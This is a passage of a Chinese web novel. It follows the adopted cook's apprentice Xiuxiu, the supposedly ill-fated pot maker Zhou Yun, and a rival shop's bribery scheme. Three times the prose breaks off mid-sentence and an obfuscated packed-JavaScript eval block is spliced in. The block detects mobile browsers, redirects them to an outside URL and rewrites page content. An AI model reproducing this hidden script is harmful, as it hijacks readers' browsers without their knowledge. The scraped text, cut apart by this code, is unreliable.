钊虹、周四海在前，秀秀、周允在后，四人一同走上游廊。前面热络寒暄，后面针落有声。 周允侧眸一看，尚未及他肩膀的好妹妹一双瞳人剪秋水，唇瓣微启，嘴角含笑，正出神望着什么。 沿之看去，只见院墙角落一株老梅初绽红蕊，虬枝负雪，如胭似血，为满目清冷点上生机。一根雪落无痕的枯枝上，两只小雀儿正蹦蹦跳跳，欢脱快活，好不自在。 周允默不作声地收回视线，随后，他半抬起手。 “嗒！” 一声响指，短促清脆，秀秀如梦初醒，身子一颤，怔忪一瞬，仰起了头。 周允双手负在身后，脊背如柏，目视前方。如果不是那似笑非笑的嘴角，任谁也看不出他方才做的好事。 秀秀柳眉微颦，咽下这份不满。 一个八竿子远的哥哥，此后是否还有交集尚未可知，随他怎么做，与她何干？ 待送走客人，钊虹麻利截下正欲前往金鼎轩的李三一，一家人又热闹齐整地吃了顿午饭，钊虹雷厉风行，取名、学艺和住家，一并说清道明。 李家两代独苗都不是端锅的料子，李三一也不愿子孙们再回庖厨，可又苦厨艺失传，眼下凭空生出个干孙女，还是个颇有天分的，他自是心动，可不由心生顾虑，便在秀秀前立威：“若是偷懒爱哭的主儿，我可不收。” 秀秀忙端一杯茶递过去：“师父好！” 话音刚落，李三一笑骂：“这会儿倒是勤快起来了！”说罢接过了茶。 钊虹眼里俱是笑意，挑着吉祥话说：“公爹喜得高徒，秀秀拜得名师，看来今天日子旺得哩！” 李聿眸光一闪，出口成章：“爹娘认了千金，我多了姐姐，要我说，这不就是良辰美景亲相伴，赏心悦事李家院【1】？” 连不苟言笑的李守常都和悦三分，一时间桌上其乐融融。饭后李聿端着砚台到钊虹面前讨巧：“娘，我得了不然兄这样好的礼，于情于理都是该上门道谢才是。” 钊虹正拉着丫鬟给秀秀量体裁衣，闻言头也不回，只道：“问你爹去。” 李聿步如曳牛来到书房，只见李守常正端坐于桌前展纸，闻声抬头瞧了一眼，便又继续提笔。 李聿吞吞吐吐把刚才的话重复一遍，只听李守常淡淡说：“去吧，后半日的功课，也落不得。” 告假得请实属意外之喜，李聿把蝉砚放下，抬头清朗一笑：“谢谢爹，劳烦您先替我保管好这只小虫。”后脚少年郎便亲自化蝉飞到了周家。 周府距李府不过两条街，李聿把马匹交到小厮手里，便轻车熟路踏进朱漆小门，穿越缦回廊腰、高啄檐牙，来到东边一处名为息心园的园子里。 园子东南隅有一六角小亭，檐角冰晶似箭如锥，亭额“息心”二字，亭中玉尘一片，不见人迹鸟痕，亭侧几块怪石偎着半月形小池，池水凘凝。偶有风过，墙角松柏簌簌坠下些许雪粒，园子里才总算有了动静。 复行数十步，门口小厮低声问好，李聿径直推门而入，唯见周允一腿曲起，一腿舒展，正欹卧在榻上，书卷半掩着脸，闲适自在。 李聿快步走近作揖，毫不掩饰欣喜之意：“寅生特来给不然兄道谢了！” 周允把书一扔，坐起身来朝窗外道一声“来兴”，又睇一眼李聿，闲闲一笑：“拿腔作势。” 李聿笑着坐下，又说：“听我娘说，那小蜩是商队带回来的，兄长如此挂念，小弟自然该谢。” 事实上，这砚台并非周允的意思，而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632987|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周四海托人几经辗转才买到的，最后把功劳全都送到他身上。 但这些话不必多说，李聿答谢，他应着便是。多一事不如少一事。 周允往小桌上一靠，漫不经心道：“今天是什么日子，你爹竟就许你出来了？” 李聿来了兴致：“我要有大姐姐了，我娘新认了个干女儿。” 这时，来兴端着棋盘进来，在小桌上放好，又给上茶，这才退下。 李聿边座子边问：“今早去我家，看见她没有？” 周允执起两枚白子，脑中浮现一双慌乱的大眼睛。 他先行一步，指尖衔着一枚棋子放下，语气平平：“见了。” 李聿：“现下一家人心思都在她身上，我这才卖乖溜出来。” 周允点点头，二人把心神转到棋盘上。 二人上次对弈还是腊八，至今已过去十天，李聿虽不过舞勺之年，却是个十足的棋痴，平日弈友仅周允一人，得闲便要缠着他来上几局，十岁时他是“常败将军”，如今已能连赢一二，便得了下棋的趣，二人常常一坐就是大半日。 只是李聿来年四月要去参加院试，李守常不愿他沉湎下棋，所以这一年只在休沐日他才能得空过来，到了下半年，便是休沐日也要挑着来了。 李聿手痒久矣，这盘棋走得气势汹汹。 棋盘之上，黑子如铁骑雄鹰，左冲右突，带着少年的胸酬壮志，降魔舞剑，力战群英；反观白子，如浩渺烟波，已悄然成势，清辉胜雪。 李聿时而凝神细看，时而蹙眉沉吟，恰似盘上之黑蛟，锋芒毕露；周允托腮观棋，宛若盘上之白龙，绵里藏针。 弈至收官，周允指尖轻巧落下一子，完成定型。数子毕，终局点勘，李聿眉间微蹙，撸起袖子道：“再来！” 又到生死存亡之际，咽喉要地，周允垂眼一顿，落子无悔，李聿眸光锐利，扬眉吐气：“承让了。” 鏖战正酣，来兴隔窗提醒：“少爷，老爷回来了，正问起您呢。” 再一抬头，滴漏箭标已指向酉时。 恰是一局结束，李聿掀袍起身告辞：“不然兄，你我改日再战！下次定要打你个落花流水！” 周允起身道：“说大话当心咬了舌头。” 二人一齐出门，李聿大言不惭：“怎是大话，待我考完院试，就是那堂堂皇京指尖神手也迟早要做我手下败将。” 周允在身后悄然捻指，不再言语。待李聿从小门离去，他往前院走去。 饭已经摆好，净手入席后，周四海问：“这半日怎没去冶坊铺子？” 周允不以为意地回话：“陪寅生下了几盘棋。” 周四海问：“寅生也要十四了吧。”不等周允应话，他又想法子把话头往要紧事上引，“你既已及冠，也该有副大人模样了。” 周四海继续开口：“是该纳两房丫鬟了。” 周允只顾吃自己的，随意开口，语气却坚决：“您趁早把这心思消了。” 周四海登时皱起眉头：“难道你真要看我周家绝后？！” 周允放下筷箸，淡淡说：“克死祖母、娘亲、妹妹还不够，还要再去耽误别人？半截身子入土之人，我早已搁下这红尘。” 周四海怒道：“你这不肖子！” 说罢周四海咳起来，小厮忙上前捋气递水，周允却对批驳置若罔闻，继续吃饭。 待周四海平复，再次开口：“骗子单管胡说白道，你倒是当真了？正妻不娶，通房也不纳，她们在天之灵能安宁？此事你不必再说，现下我已挑好，两个都是好人家的清白姑娘，明日送到你园子里去。你半截身子入土，我这周家还要后继有人！” 周允端起茶杯一饮，付之一笑：“您尽管送就是。” 5. 第 5 章 周允三岁那年的春天，周府来了一个蹊跷老道长。 此人看上去已年逾花甲，霜色长发用一枝枯藤随意挽着，眼角纹理如沟似壑，胡须飘逸，一双眼亮得惊人，如有洞世之术。虽形容消瘦，行动间却不失矫健，步履轻巧，正路过周府朱门。 春深，正是桃花压枝低的时节，周府东边一枝桃花却出墙来，空中袅袅一纸鸢。老道略作思忖，青衫广袖扣上铜环，他捋捋胡须：“老夫只讨一碗水。” 小周允正随母亲叶青岚在院中玩耍，指挥小厮扯着风筝线，稚声稚气喊道：“再高些。” 叶青岚瞧见来人，差丫鬟舀了满满一瓢梅子汤，又将老道长的水葫芦灌满。 周允也被乍然出现的老爷爷抢了心思，不再管天上的纸鸢，静静盯着看，只见老道长饮罢长叹：“夫人心善，甜水沁煞，欠您一因果，夫人若是不嫌弃，可容老夫为周府卜上一卦？” 叶青岚颔首一笑，悉听其便，把道长往亭子里请，静候一旁。 老道从袖中取出三枚锃亮铜钱，正要占上一占，却见身下跑来一童子，软糯小手正牢牢攥着青衫一角。 道长低头，周允中气十足地说道：“老爷爷，给我看看可好？” 叶青岚上前阻拦：“允儿，来娘亲这儿，切莫打搅道长。” 老道长却是哈哈一笑，道一句“无碍”，顺势把小团子抱至石凳，却无意中瞥见了周允颈后的那枚朱砂胎记，不禁面色一冷。 道长继续占算，铜钱竟在石桌之上跃动而起，生生裂成两半，他倒吸一口凉气，神情郑重：“夫人，不足为外人道也，还请携令郎引至私密处，在下一一奉告。” 叶青岚一脸狐疑，却也还是照做，邀人进了屋里，落座后又清退下人，只见道长紧眉捋须，便问道：“莫不是凶兆？” 道长看着坐在娘亲怀中的小团子，忡忡开口：“这孩子，可是向那碧霞元君求来的，生辰在除夕？” 叶青岚一听，此事竟被说中，更不必提与周允相干，顿时急张拘诸，忙问：“与这孩子有关？” 道长长长吁叹：“元君垂慈，袖漏桃枝，童子乘爆竹惊雷而生，容止出众，聪颖非凡，奈何暮春三月，东墙桃夭破墙而出，耳冷心灰百不闻，命薄如纸，克六亲，十岁必夭！” 此话一出，叶青岚面色煞白，瘫坐在椅子上，一个不注意，周允从其怀中滑至地面，仰头道：“娘亲，我想去放纸鸢。” 叶青岚手抖身颤，摸摸周允的头顶，柔声细语：“去吧，当心些，莫要摔倒。” 说罢，周允便跑出门去，这纸鸢一飘就飘到了傍晚。 日落西山，周四海从铺子回来了。 “胡吣！”周四海竖眉冷喝，自带一股肃杀之气，“哪里来的江湖骗子，竟连这等胡话也敢乱说了？造口业事小，也不怕反噬！” 老道长叹一口气：“老夫分文不取，谈何行骗！愚昧啊，愚昧啊，可怜这可爱小人，明明有法子活下去，唉！” 叶青岚连忙上前，语气哽咽，眼里还带着下午哭过的痕迹，说道：“还望道长老前辈指点迷津。” 道长细细说道：“即日起，四时八节烧纸人替灾，不过生辰，不入红尘，熬过及冠，取字‘不然’，方得一线生机。” 于是，这周府便开始了年复一年的祈愿，春分彩纸人，夏至青纸人，秋分金箔金箔剪影，冬至研磨画黑白二仆。 于是周允也就在这一个接一个的纸人中，顺利长到了六岁，却未曾想，这一年噩耗接连而至，祖母离世，胞妹夭折，娘亲难产而亡。 不知哪里传出来，大家都知道了周允克六亲，扫把星，天煞孤星童子命，他在漫天纷飞的流言蜚语中安安稳稳过了十岁大关。 一眨眼，周允及冠了，正式成为“不然”，周不然背负着三条人命，走到了二十岁，贤达五年的腊月二十。 而在这天，周四海也果真说到做到，送了两个模样清秀的姑娘到息心园里。 周允不抬一眼，只喊一句“来兴”。 来兴到他跟前，唯唯诺诺开口：“少爷，老爷特地说了，要是还像之前那样，就把我扔出周家。” 周允转着一黑一白的棋子道：“究竟谁是你主子？” 来兴五官皱作一团，看起来像是没了法子，快要哭出来：“少爷！奴才打小跟着您，在府上长大，也离不开少爷了！” 周允放下手里的棋子，抬起头来看向屋子中央。 只见两个姑娘都低着头，含羞带怯，他不带一丝温度地开口：“走吧，钱少不了你们的。” 说罢，二人却是谁也没动。 周允一拧眉，索性走到二人面前，只见两个姑娘大气不敢喘一口，他驻足片刻，便径直出了门，这一出门就再没回来。 他在冶铸坊待了四天，和冶坊兄弟们吃一样的饭，住回他住了四年的小屋子。 十二岁那年，周允说什么也不肯再去学堂，李先生上门劝了三遍，周四海气得抄起笤帚打他，最后笤帚在手里举了半天，还是没落在他身上。 从那时，他一头扎进了自家的冶铸坊，这一待就是四年，平日多待在坊里，至十六岁才彻底搬回了府上，却没再念书，而是子承父业，做起了铁锅，十八岁时，他铸的锅已经声名鹊起，相熟之人见了周四海都要说一句：“少坊主青出于蓝胜于蓝，周坊主该放手哩。” 如今又住回作坊，周允很快就适应过来。 周家的冶铸坊在皇京郊边，占地广阔，背靠一条可通航的河流，除了旱季，作坊运输原料和成品多靠这条河走水运，如今河上一片安宁。 整个作坊被高大砖土墙围着，核心区域是十座高大坚炉组成的高炉群，由巨大砖石砌成，形似巨塔。数个烟囱吐着浓烟，数名鼓风匠和牲畜正拉着木风箱，把空气压进炉内，另一些炉工正踩着脚手架，从炉顶投料。尽管身处寒冬，可在炉光照映下，棚屋热气腾腾，工人汗水淋漓。 炉前，老师傅一声令下，浇手们用长铁钎捅开出铁口，炽热白亮的铁水泄出，流进耐火泥塘，热浪滚滚，最终汇进泥范内部的锅具模型。 稍待冷却，清砂匠们小心敲碎已被烤干的泥范，露出暗红的铁锅毛坯，另一些工匠，便迅速用锤子和凿子清毛刺。 一时间，煤烟和金属灼烧味混作一团，云雾缭绕，人声风声、锤击声水流声，声声入耳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632988|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>场院一角，铁矿石、煤炭、木炭、石灰石等堆积如山，另一侧，准备出货的成品铁锅叠放整齐，正等着被装上货车。 而在大棚屋东南边的的小棚屋下，有一挺拔男子。 他身穿一件墨色粗布坎肩和长及小腿的软牛皮围裙，手臂上系着一对套袖，下身棉裤利落扎进厚猪皮靴子里，神情专注，正围着铁砧，用铁锤反复捶打锅坯，丁丁笃笃，额头已是汗涔涔。 来兴又来喊人：“老爷已经遣了那两个姑娘，少爷，您就回去吧！” 周允抽出空来，侧身说道：“再有一日我便回府。” 周允做事时向来不喜人扰，于是来兴道便拿着准信乐呵呵走了。 他放下锤头，又脱下围裙套袖，手臂一横把额头上的汗擦干，去了账房。 “少坊主。”账房先生起身让座。 周允摆手，边说边在另一张桌前坐下，拿起手边的账册翻阅起来。 厚厚一沓，记着作坊这一年的各项成本支出和出货量云云。 这几日过来，他已经翻了一遍，今日复阅，看得细致，半晌过后，天色沉沉，屋外响起用饭的号子，周允阖上账本，眉头微蹙，搓了搓右手掌心的老茧，出了门。 他未用饭，径直去了马厩。 路上迎面过来一匠人，和蔼可亲，周允率先开口：“师父。” 叶丛问：“这是要走？” 周允：“嗯。小棚屋那口锅还有劳师父打磨。” 叶丛笑道：“你去便是。前几日珠儿回来还嚷着，临近过年，铺子那边也忙起来了。” 周允应一声，叶丛招招手：“走吧走吧。” 快马到了铺子，店已打烊，他直接进了后院的账房。 叶文珠正加班加点理账，见周允过来，粲然一笑，两个酒窝甜似蜜：“表哥。” 周允点头示意，便要出这大半年的账册看起来。 烛光幽幽，算盘珠子滑动，账本翻页，二人互不打扰，各干各的。 这时，叶文珠突然开口：“表哥，今日李厨头来过，指明要一口你做的锅，你可知道了？” 周允兀自看着账本，头也没抬，问：“李聿的祖父？” 叶文珠停下手里的动作，珠子声响顿时全消，房内一时间针落有声，叶文珠甜甜笑道：“是呢，李厨头近日收了个女徒弟，听说是钊掌柜新认的义女。又是做师父又是做祖父的，自然要送个见面礼。” 周允问：“他说什么日子要用？” 叶文珠：“只说尽快，年前最好，别的倒没说什么。” 周允不再说话，算盘声响也再响起来，不多时，叶文珠打着算盘再次开口：“今日我见那钊姑娘，真是人如其名，钊柔钊柔，是个伶俐美人儿，听说她之前在金鼎轩做厨役，能得钊掌柜这样八面玲珑的人物喜欢，想必有些过人之处，改日我可要好好问问李聿，他这大姐姐究竟是何来头。” “说起李聿，怎么好些日子不见他了？他找你下过棋？” “表哥？你怎么总是不说话？” 叶文珠正欲再次开口，只见周允轻叹一口气，揉了揉眉心，搁下账本起身道：“明日我再过来。” 6. 第 6 章 腊月廿四，秀秀在成为李三一的弟子后，也正式确定了自己的大名。 尽管只是一个义女，但李守常还是给出几个不错的名字备选，最后钊虹帮着选了“柔”字。 李守常文绉绉解释：“刚柔并济，以柔克刚。” 秀秀听得一知半解，但也知道是句好话，于是果断决绝地和胡家童养媳割席，摇身一变成了钊柔。 等她再走进金鼎轩的后厨时，管事婆子也要挤着假笑称一句“姑娘”。偌大的后厨，在这短短几日里，竟只有李三一还叫她“死丫头”了。 老头端锅几十年，早就被油烟浸透，近几年才渐渐放手，却依旧对厨艺有着近乎偏执的严厉。 “死丫头，厨房就是先学挨骂，再学拿刀！” “厨房不是闺房，是战场！灶就是将军，锅就是盾牌，勺就是士兵！” “今日我勉强让你碰刀，丝儿要细得能穿针，片儿要薄得能透光。练去吧！” 秀秀低声嘀咕：“切坏了没法用，岂不是太浪费了？” 李三一：“切完自己吃光，何谈浪费？” 秀秀目不转睛看着一筐萝卜，暗叫不妙，老实切菜。在吃了两天萝卜后，秀秀悄悄试探：“师父，什么时候能端锅啊......” 李三一睨一眼案板，冷哼一声：“切菜就想切菜的事儿，整天想着一口吃成胖子，当心越吃越瘦。” 秀秀纳闷老头怎么比之前还凶还严，心里犯怂，讷讷道：“换着菜练，练得更好。” 李三一看一眼秀秀肩膀，安排一个小厮去拿来两块肉，又命令：“黄瓜猪肉混着练，猪肉切片切丝，黄瓜切蓑衣。” 秀秀一双眼弯成月牙泉，连忙道谢：“谢谢师傅！” 李三一负手而去，那小厮便凑过来，低声问起秀秀：“你是如何入了掌柜的的法眼？” 秀秀睇他，这小厮正是不久前新来的，那日见他端笼屉都费劲。 小厮又道：“你这下倒是麻雀飞上枝头便凤凰了，为何还要来做这灶下养的？” 秀秀拉起一根刚切坏的黄瓜，看了看又放下，轻叹一口气道：“今日掌柜的看我喜欢，明日的事谁又说得准？” 小厮抄抄手，嗤笑一声：“做了小姐就是不同，这般清高了。你可知道多少人想学李厨头的手艺呢？我连着求了几日，他连个正眼都不给我，小姐一来，倒是直接开上小灶了。” 话音刚落，二人身后传来一声吼：“又偷懒儿！这么些活儿是想留着给我干呐？” 管事婆子正欲拧上小厮耳朵，却是连耳朵边儿都没碰上，就让这小厮瑟缩跑了。 婆子乜着正在练习刀工的秀秀，一开口嗓音都拐着弯儿：“姑娘可真是勤快人，放着小姐不做，来做起杂役了。” 秀秀垂眼切菜，手上放慢了速度，朝婆子笑笑：“做人不能忘本不是？如今我拜师学艺，日后定离不了咱金鼎轩的后厨，在外头您喊我一声姑娘小姐，在这儿还得我敬您一声大娘，秀秀也稀罕您的关照呢。” 婆子听了这话，脸肉堆起谄媚的笑：“不过一个老婆子，指不准何时就入土了，姑娘这般看得起我，我倒真是羞红了脸。” 秀秀嘴角一咧：“这是哪里的话，大娘，秀秀还得劳请您别再说什么姑娘了，咱们之间又何曾这么远了？在这儿我就是秀秀呀。” 婆子从板子上拾起一根黄瓜丝放进嘴里，笑骂：“你这丫头，就属你嘴甜。忙着吧，我出去看看。” 秀秀“哎”一声，不多时，又切了一根蓑衣黄瓜，这次成功了，她把这根成功的跟之前失败的分开放好，又回头看去，后厨依旧如火如荼，而刚才那小厮正在费劲端笼屉。 金鼎轩过了最热闹的时候，这会儿食客们渐渐少了，秀秀在后厨用了饭便回李府，李三一照旧留在金鼎轩，这几天都是如此，今日也不例外。 当初钊虹说给她安排顶轿子，秀秀连忙拒绝，酒楼与李家府邸离得不远，走回去也轻松，钊虹又说派个小厮丫鬟去迎她，秀秀笑道：“皇城根儿下，还能被人掳了去不成？” 于是这晚，秀秀照常往回走着，待回去她还要先跟李聿识上几个字，这段回府的路是她一天最自在的时候。 前几日大雪，阴面墙角的雪半化不化，到了傍晚便上冻，此时月光清皎，落到雪块上澄澈晴朗。 秀秀不紧不慢走着，深呼吸一口凛冽空气，面前白汽起伏伏糊了一脸，她却悠然自得。 行至一暗巷路口，她脚上不自觉加快，走到明亮处，又暗暗松心。 进了李府，秀秀先在偏屋小廊厅待些时候，搓搓手捂捂脸，待身上暖和些，红脸蛋又转净色，她才进到正屋去。 这几日，钊虹都在前院待着，修修花枝儿或是看些话本子，待秀秀回来，娘俩说点儿闲话，才又回后院。 等这边散了，李聿也被李守常检查完功课，二人便又凑到前院的书房。 秀秀到书房时，小厮正在廊厅候着，李聿已经在书房，闷不做声，秀秀上前问：“这是怎么了？” 李聿丧丧开口：“文章做得不好，被我爹训了呗。” 秀秀抿抿唇：“李先生是要严格些的。” 李聿走到桌前，兴致不高：“往日教你的，可还记得？” 秀秀已经开始提笔，一笔一画，一家人的名字便出现在纸上，字不算赏心悦目，却还算规整。 李聿自言自语：“今晚学什么呢......”紧跟着灵光一现，“有了！教你别人的名字如何？反正日后总要往来认识的。” 当李聿字正腔圆说出“叶文珠”三字时，秀秀没忍住笑了，问：“这又是谁家的好姑娘？” 李聿挠挠头说：“她是周家铁锅铺子的账房，同我一般大。” 听他这么一说，秀秀对上号，问：“是脸上两个酒窝的姑娘？” 李聿眼睛一亮，点了点头：“秀秀姐姐，你见过她？” 秀秀微微一笑说：“昨儿师父带我去周家铺子选锅，同叶妹妹说了两句话呢。” 李聿一扫刚才的阴霾：“她还是不然兄的表妹呢，十二便到铺子帮着打理账房了。” 秀秀问：“不然兄，就是周允？” 李聿点头：“是啊。” 秀秀比着葫芦画瓢，李聿写一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632989|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔，她跟着写一笔，姐弟俩边说话边写，她随口一问：“你与周允很是相熟？” 李聿：“我们俩是弈友。” 秀秀手上一顿，笔尖吸饱的墨汁在纸上重重洇开，她立即提起手腕，问：“弈友？” 李聿解释道：“就是下棋，我们俩经常在一起下棋。” 秀秀跟着在蝉砚里蘸了一笔墨汁，小声说：“原来如此，是我没见识了。” 李聿：“这算哪门子没见识，如今不就知道了？下棋而已，改日我带你去他府上，叫你好好看看。” 秀秀笑笑，不作回应，又问：“你与他是如何相识的？” 李聿手上停了下来，支支吾吾：“就......离得不远，就认识了。” 秀秀应声，最后一笔落下，除了刚才那一点洇开的墨汁，字不算难看，看着看着，她眼前当即浮现出那个酒窝姑娘，扭头看李聿一眼，秀秀会心一笑。 可紧跟着，脑子里又出现深赭色长袍上一双修长白净的手，恍惚间，耳畔好似也响起一声惹人厌的响指，她秀眉微蹙，垂下眼睫，转而神色如常。 随后暮鼓声起，李聿又带着她写了几遍，见秀秀记住了，这才肯放人回房。 秀秀的园子挨着李府的小花园，名为锦心园，虽然不大，却十分精巧，凉亭小池，怪石花草，一应俱全，只是冬季花草萎靡，多亏几枝梅花添香添色，锦心园才稍带“锦色”。 她不习惯被人伺候，自己也能干活，加之大多时间不在府上，园子用不着太多人，锦心园只安排了两个个丫鬟，一个叫翠鸾，一个叫红莺，都是跟着黄鹂伺候钊虹的，如今被派到这边来。 这会儿姐俩已经备好热水等着，见秀秀回来，迎上前：“小姐，哦，不，”翠鸾一手拍上嘴，又改口，“姑娘，热水已经备着了，要沐浴吗？” 秀秀笑笑：“说过多少遍了，你俩在我前头不必如此拘谨，我也是穷苦人家的孩子，用不着人伺候，你俩来这园子，就当是给我做个伴儿，咱们姐妹相称才是那个理儿。” 翠鸾、红莺二人异口同声：“这怎么行？” 翠鸾又慌忙道：“姑娘别折煞我俩了。” 秀秀眨了眨眼，看向二人，语气低沉下来：“那这园子里，我岂不是连说个话的都没有了？我待你们是姐妹，你们却待我是主子，真叫人寒心呢！” 翠鸾咬咬牙，诚惶诚恐：“姑娘，是我们考虑不周到了，您不拿我们当仆人，还要拿我们当姐妹，我与红莺高兴还来不及，只是...该伺候还是要伺候的。” 秀秀见二人松口，其余的便也不再勉强，只握住两人的手笑说：“两个好姐姐，我实在不习惯旁人帮我沐浴，这事就让我自己来吧，叫人看光了身子，我真真羞死了。” 听见这话，几人相视一笑，翠鸾红莺双双退下，秀秀自己宽衣，坐进浴桶里。 这辈子她不过用了几回这桶，便觉得离不开了，泡在温热的水，一天的乏都解得干净，人也犯起困来，她简单洗过，换上小衣便躺下，迷迷瞪瞪在脑子里过了一边“叶文珠”三个字，琢磨着明晚应该要学“周允”二字如何写了。 7. 第 7 章 廿九，当秀秀放下菜刀，转而抻起一条完整的黄瓜蓑衣时，李三一说：“无刀不成厨，切一根蓑衣简单，难的是又快又稳，每回都能切出来。” 秀秀低头看着手上的水泡，只得老实答应，却未曾想，到了翌日上午，李三一便一声不吭地拿出一口铁锅。 秀秀掩不住欣喜，拿在手里颠了又颠，垂在肩头的发辫跟着她的动作弹跳起来，她嘴上说“谢谢师父”，眼睛没离开过锅。 李三一悠悠开口：“给你锅，也不是让你今日用的。刀工过了，还得会玩火，要想做好菜，你得让火听你的。” 说罢，李三一把人领到灶前，再次开口：“这两日你先随四勺学着如何看灶火，学习添减柴薪，多看多学，待来年你再上手也不迟。” 四勺主动问好，秀秀看去，只见一个脑袋大、脖子粗的男子，他身上穿着围裙，正喜洋洋地看着她，说着他把手背围着灶转了一圈，开始传道授业：“师妹，来。” 秀秀跟着伸过手去，灶台暖烘烘，稍一耽搁就烫手，待秀秀转了一圈，四勺便说：“平日我们都是用手试温，这个你可明白？” 秀秀点点头，见四勺师兄教得认真，她眼下有更好奇的问题，也只得憋回肚子里。 四勺又细细解释，一名厨师该如何用耳朵听出汤汁在不同火候下沸腾的声音，又该如何用鼻子嗅出食材在不同火候下的气味。待学完这些，一时间，四勺也不知该说些什么了，只好问：“师妹还有想知道的？” 秀秀安静片刻，低头凑过去问：“四勺师兄，你就叫四勺？” 四勺一怔，道：“我本名苏胜，四勺是后厨里大家给我取的诨名罢了。” 秀秀：“那为何叫这名儿？” 提到这个，四勺不好意思了：“因为我擅长调味，做菜时都是三勺定味，本叫三勺，但为了避师父名讳，便叫四勺。” 秀秀不由咋舌，果真人不可貌相，四勺师兄竟有如此高超的技艺，她便又心虚问：“师父收了很多徒弟？” 四勺解释：“不多不多，师父一般不轻易收徒，在我上面也就两个师兄，大师兄早些年长病没了，还有一个二师兄......出去自立门户了，现下就你我二人，我也是三年前才过来的。” 秀秀点点头，朝四勺笑笑：“日后还要四勺师兄多多关照。” 四勺一笑，又说：“这些天后厨忙，待年后我得空，有些不懂的，你若是不敢问师父，我兴许能教教你。不过你也不必担心，师父只是面上凶，对徒弟还是很好的。” 得了指点，秀秀展眉笑颜开，四勺低头摸摸鼻尖，二人寒暄一二，便一个看火，一个做菜去了。 灶膛里的火苗活泼跃动，秀秀弯腰看去，火光钻进清亮眸子，乌黑瞳仁里燃起了两簇小小太阳，她被火苗映红了脸，便直起身，小心翼翼取了锅来。 秀秀有模有样地用一块肥猪肉擦拭，锅里黑亮亮的，“好锅呀...”她喃喃自语，喜上眉梢，有这样厉害的师父和师兄，又配了皇城最有名的锅，想必明年春天，她就能颠勺独挡一面了。 手中肥肉块“滋啦”一声滑过，锅面腾起一缕细白长烟，她转动锅身，让每个角落都均匀涂上油脂。 以前在胡家，她也开过锅，有经验，并不慌张，但这锅是师父送的，又如此名贵，开起来难免紧张。 很快，秀秀额角便沁出了汗，而此时她顾不得擦汗，开锅是顶顶紧要的事儿，买锅那日师父便嘱咐过，锅开好了，日后炒菜不粘不糊，周家铁锅质量好，能用几十年也不在话下，有的大厨师一口锅用一辈子。 灶火更旺了些，熏得她双颊绯粉，手里的锅渐渐油光水亮，她摇着脑袋哼起不成调的小曲儿，四勺路过问一嘴“开锅都这么开心？”秀秀笑笑不说话，住了嘴，将最后一点猪油涂抹在锅沿，正欲将锅举起细看—— 一个小小的凹陷，在锅底格外突兀。 笑脸霎时冻住，她下意识伸手去碰那个凹陷，又因高温猛地缩回手，忙去捏耳垂降温。 秀秀忙不迭扭头，她在整个后厨打量一圈，没看见李三一的身影。 这时四勺又走过，见她脸色不对，多问一句：“怎么了？” 两根辫子耷拉着，她咬了咬唇说：“四勺师兄，待师父回来，劳烦你帮我向他老人家告个假，我有急事，得先走一步了。” 说罢秀秀便褪下围裙，端着锅急急忙忙跑出去了。 等她气喘吁吁跑到周氏锅铺时，却见门前围了乌泱泱的人，秀秀拎着锅，找了个边角凑进去，人头攒动中，尚且未知发生何事，便听见一阵中气十足的声音： “铺子何时亏待于你？忘八端的无耻小人，竟把主意打到账上了！若不是少东家和文珠小姐眼明心亮，发现你这腌臜行径，否则年底官府税款清算，真能叫你这白眼狼给摆一道。大家伙今日在这做个见证，说，是谁派你来的？” 秀秀走近，便看见了买锅时见过的几人。 老掌柜怒气冲冲竖眉瞪眼，那伙计正在门前抱头痛哭，叶文珠乖巧在一旁站着，周允还是一副漫不经心的样子，两手负在身后，眉眼冷峻，寡言淡漠，仿佛在思索别的事情。 伙计畏畏缩缩，吞吞吐吐不肯说，又叫老掌柜给踹了一脚，这才含混开口：“是......是蒋氏锅铺。” 此话一出，人群中一阵惊呼，秀秀这几日也了解到，皇城最大的锅铺是周家，其次便是蒋家的， 那日两家在金鼎轩闹得不快，也是因为生意上的事。 老掌柜又怒喝：“蒋氏给了你什么好处？指使你作何勾当？！一五一十给我说出来！” 伙计断断续续张嘴，秀秀听明白了。 前几日，蒋氏得了消息，来年宫里要安排远洋船队出海，船上的铁具少不了是笔大生意，可历来从农具到弓箭，凡是官民合作的铁具，都是周家的。 他蒋氏想分一杯羹，只好从周氏下手，年前在金鼎轩宴请周家父子，便正是想与周氏联合起来争取船队铁具买卖。岂料周氏不允，两家当场吵了起来。 于是蒋氏便对周家锅铺下了死手来清敌，花钱收买了周家铺子里的收银伙计，小半年里不知有多少交易买卖不入账。 